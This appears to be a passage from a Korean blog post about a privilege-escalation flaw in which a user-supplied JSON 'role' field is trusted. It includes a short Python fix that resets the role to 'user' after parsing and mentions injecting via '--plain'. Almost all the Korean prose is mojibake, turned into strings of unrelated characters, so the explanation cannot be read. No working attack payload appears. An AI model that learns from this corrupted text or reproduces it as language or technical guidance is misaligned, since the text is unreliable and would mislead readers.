๋ ฅ ์ฒ๋ฆฌ์ ๊ตฌ๋ฉ์ด ํ๋๋ผ๋ ๋๋ฉด ๊ถํ์ด ํต์งธ๋ก ๋์ด๊ฐ๋ ๊ตฌ์กฐ๋ค. ์ญํ ์ ์ฌ์ฉ์๊ฐ ๋ง๋ ๋ฐ์ดํฐ์ ๋ค๋ฅธ ์๋ฆฌ์ ๋๊ฑฐ๋, ์ต์ํ ์ ์ฅ ์งํ์ ์๋ฒ๊ฐ ๋ค์ ๊ฐ์ ํด์ผ ํ๋ค.
user = json.loads(raw_user)
user["role"] = "user" # ํ์ฑ ๋ค์ ํ ๋ฒ ๋ ๋ชป๋ฐ์ผ๋ฉด ์ด ๊ณต๊ฒฉ์ ๋งํ๋ค๊ทธ๋ฆฌ๊ณ ๋์กฐ๊ตฐ์ ๊ฐ์ด ๋๋ฆฌ๋ฉด ์ค๋ช ์ด ์งง์์ง๋ค.
--plain ์ผ๋ก ์ฃผ์
์๋ ํ๋ฆ์ ๋๋ํ ๋๋ ค ๋ณด๋ฉด 403 ์ด ๋์จ๋ค. ์ต์ค๊ฐ ํตํ๋ ์ด์ ๊ฐ "์ฃผ์
๋๋ฌธ"์ด๋ผ๋ ๊ฒ ํ๋ฉด ๋ ์ฅ์ผ๋ก ๋๋๋ค. ์ทจ์ฝ์ ์ ๋ณด๊ณ ํ ๋๋ ์ด ํ ์์ด ์์ผ๋ฉด ์ค๋์ ๋๋ ๋ง์ด ํฌ๊ฒ ์ค์ด๋ ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ